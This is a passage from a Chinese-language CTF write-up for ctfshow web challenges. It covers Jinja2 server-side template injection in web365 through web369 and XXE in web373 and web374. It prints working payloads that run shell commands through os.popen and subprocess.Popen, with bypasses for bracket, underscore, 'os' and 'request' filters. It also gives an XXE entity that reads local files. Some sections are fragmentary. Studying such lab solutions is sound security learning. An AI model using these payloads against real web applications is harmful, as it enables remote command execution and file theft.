request.args.a 读取 get 方式里 a 的值

request.form.a 读取 post 方式里 a 的值

request.cookies.a 读取 cookie 里 a 的值

web365 方括号[]

过滤了方括号,可以用__getitem__绕过

1
?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

三种方法,但都需要用到 python 魔术方法 getitem

1
2
3
4
5
6
7
8
9
10
11
12
13



方法一:{%set char=config.**class**.**init**.**globals**.**builtins**.chr%}{{().**class**.**base**.**subclasses**().**getitem**(132).**init**.**globals**.popen(char(108)%2bchar(115)).read()}}

方法二: name={{().class.base.subclasses().getitem(132).init.globals.getitem(request.cookies.x1)(request.cookies.x2).read()}}

然后将 cookie 写入 Cookie: x1=popen; x2=cat /flag

方法三: 使用 subprocess.Popen 类 {{().**class**.**mro**.**getitem**(1).**subclasses**().**getitem**(407)(request.values.a,shell=True,stdout=-1).communicate().**getitem**(0)}}&a=cat /flag



web366 下划线_

过滤了下划线,先换一个更简单获取 popen 方法的类

1
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag

再利用 filters 中的 attr 来过滤下划

具体介绍可以看一下官方文档 https://jinja.palletsprojects.com/en/2.11.x/templates/#attr

payload

1
?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
1
2
3
4
5
6
7
8
9
10
11
12
13
在 `?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__` 这个恶意 payload 里:



`lipsum` 是一个对象,`request.values.b` 的值为 `"__globals__"` ,`attr(request.values.b)` (等价于 `attr("__globals__")` )表示通过 `attr` 操作(类似 `getattr` 函数)去获取 `lipsum` 对象的 `__globals__` 属性。这里的 `|` 是模板引擎(比如 Jinja2 模板引擎)里的过滤器操作符,`lipsum | attr(request.values.b)` 就是对 `lipsum` 对象应用 `attr` 过滤器(本质是调用类似 `getattr` 这样获取属性的操作)来得到 `lipsum` 对象的 `__globals__` 属性值,它是一个包含了全局变量的字典。



然后 `(lipsum | attr(request.values.b)).os` 是从这个 `__globals__` 字典里取出 `os` 模块对象(因为 `os` 模块通常会被包含在 `__globals__` 里) ,接着 `(lipsum | attr(request.values.b)).os.popen(request.values.a)` 调用 `os` 模块的 `popen` 函数去执行 `request.values.a` 所传入的命令(这里是 `cat /flag` ),最后 `.read()` 读取命令执行的输出结果。



`__globals__` 是 Python 中对象的一个特殊属性(属性名是固定的 `__globals__` ),而 `globals` 是 Python 内置函数,功能是返回当前全局符号表的字典。两者概念不同,并且在这个恶意 payload 里主要是获取对象的 `__globals__` 属性来达到恶意利用 `os` 模块执行命令的目的。

web367 os

1
过滤了 os,可以通过 get 来获取

payload

1
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368 request

1
过滤了 request,但是是再{{}}中过滤了 request,没有在{% %}过滤 request

payload

1
?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

web369 request

1

XXE

web373

1
2
3
4
5
6
7
8
9
10
11
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
# php://input 是 PHP 中用于直接读取 HTTP 请求体(Request Body) 的流。
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
# 允许加载并解析外部实体和 DTD,直接触发 XXE。
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}

打开 bp 抓包,修改请求方法,

1
2
3
4
5
6
7
<!DOCTYPE test [                     <!-- 定义 DTD,声明根元素为 test(实际未使用) -->
<!ENTITY xxe SYSTEM "file:///flag">
<!-- 定义一个名为 xxe 的外部实体 file:// 是 URI 协议的一种,表示访问本地文件系统(或网络共享文件) -->
]>
<z3r4y> <!-- 实际根元素为 z3r4y(与 DTD 中的 test 不匹配) -->
<ctfshow>&xxe;</ctfshow> <!-- 引用 xxe 实体,尝试读取 /flag 文件 -->
</z3r4y>

file:///flag` 的结构

  • 分解
    • file://:协议标识符,表示访问本地文件。
    • /flag:文件路径,表示从根目录开始的绝对路径(Unix/Linux 系统)。
      • 三个斜杠 / 的含义
        • file:// 后的第一个 / 是 URI 路径分隔符。
        • 完整的 file:///flag 实际上是 file:// + /flag,即访问根目录下的 flag 文件。
        • 在 Windows 中可能需要写成 file:///C:/flag(注意盘符 C:)。

web374

1
2
3
4
5
6
7
8
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

CATALOG
  1. 1. WEB 入门
    1. 1.1. 信息搜集
      1. 1.1.1. web1-17
    2. 1.2. 爆破
      1. 1.2.1. web18-23
    3. 1.3. 命令执行
      1. 1.3.1. web29(有没懂的知识)
      2. 1.3.2. 背景知识
      3. 1.3.3. 分别以如下方法尝试拿到 flag:
        1. 1.3.3.1. 1、直接执行系统命令
        2. 1.3.3.2. 2、内敛执行 (反字节符)
      4. 1.3.4. web31
      5. 1.3.5. web32
      6. 1.3.6. web33 (未复现)
      7. 1.3.7. web34(未复现)
      8. 1.3.8. web35
      9. 1.3.9. web36
      10. 1.3.10. web37
      11. 1.3.11. web40(未)
      12. 1.3.12. web41(未)
      13. 1.3.13. web42
      14. 1.3.14. web43
      15. 1.3.15. web44
      16. 1.3.16. web46
      17. 1.3.17. web47
      18. 1.3.18. web50
      19. 1.3.19. web51
      20. 1.3.20. web52
      21. 1.3.21. web53
      22. 1.3.22. web54
      23. 1.3.23. web55
      24. 1.3.24. web56
    4. 1.4. 文件包含
      1. 1.4.1. web78
      2. 1.4.2. web79
      3. 1.4.3. web80
      4. 1.4.4. web82
      5. 1.4.5. web87
      6. 1.4.6. web88
    5. 1.5. PHP特性
      1. 1.5.1. web89
      2. 1.5.2. web90
      3. 1.5.3. web91
      4. 1.5.4. web93
      5. 1.5.5. web94
      6. 1.5.6. web95
      7. 1.5.7. web96
      8. 1.5.8. web97
      9. 1.5.9. web98(看不懂源码看不懂解析)
      10. 1.5.10. web100
      11. 1.5.11. web101
        1. 1.5.11.1. ReflectionClass
      12. 1.5.12. web102
      13. 1.5.13. web103
      14. 1.5.14. web104
      15. 1.5.15. web105
      16. 1.5.16. web106
      17. 1.5.17. web107
      18. 1.5.18. web108
      19. 1.5.19. web109(纠结语法中)
      20. 1.5.20. web110
      21. 1.5.21. web111
    6. 1.6. 反序列化
      1. 1.6.1. web254
    7. 1.7. node.js
      1. 1.7.1. web334
      2. 1.7.2. web335
      3. 1.7.3. web336
      4. 1.7.4. web337
      5. 1.7.5. web338
      6. 1.7.6. web339 变量覆盖 query
      7. 1.7.7. web340
    8. 1.8. SSRF
      1. 1.8.1. web351
      2. 1.8.2. web352
      3. 1.8.3. web353
      4. 1.8.4. web354
      5. 1.8.5. web355
      6. 1.8.6. web356
      7. 1.8.7. (未复现)web357
      8. 1.8.8. web358
    9. 1.9. SSTI
      1. 1.9.1. web361
      2. 1.9.2. web362 过滤部分数字
      3. 1.9.3. web363 单双引号””‘’
      4. 1.9.4. web364 args
      5. 1.9.5. web365 方括号[]
      6. 1.9.6. web366 下划线_
      7. 1.9.7. web367 os
      8. 1.9.8. web368 request
      9. 1.9.9. web369 request
    10. 1.10. XXE
      1. 1.10.1. web373
      2. 1.10.2. web374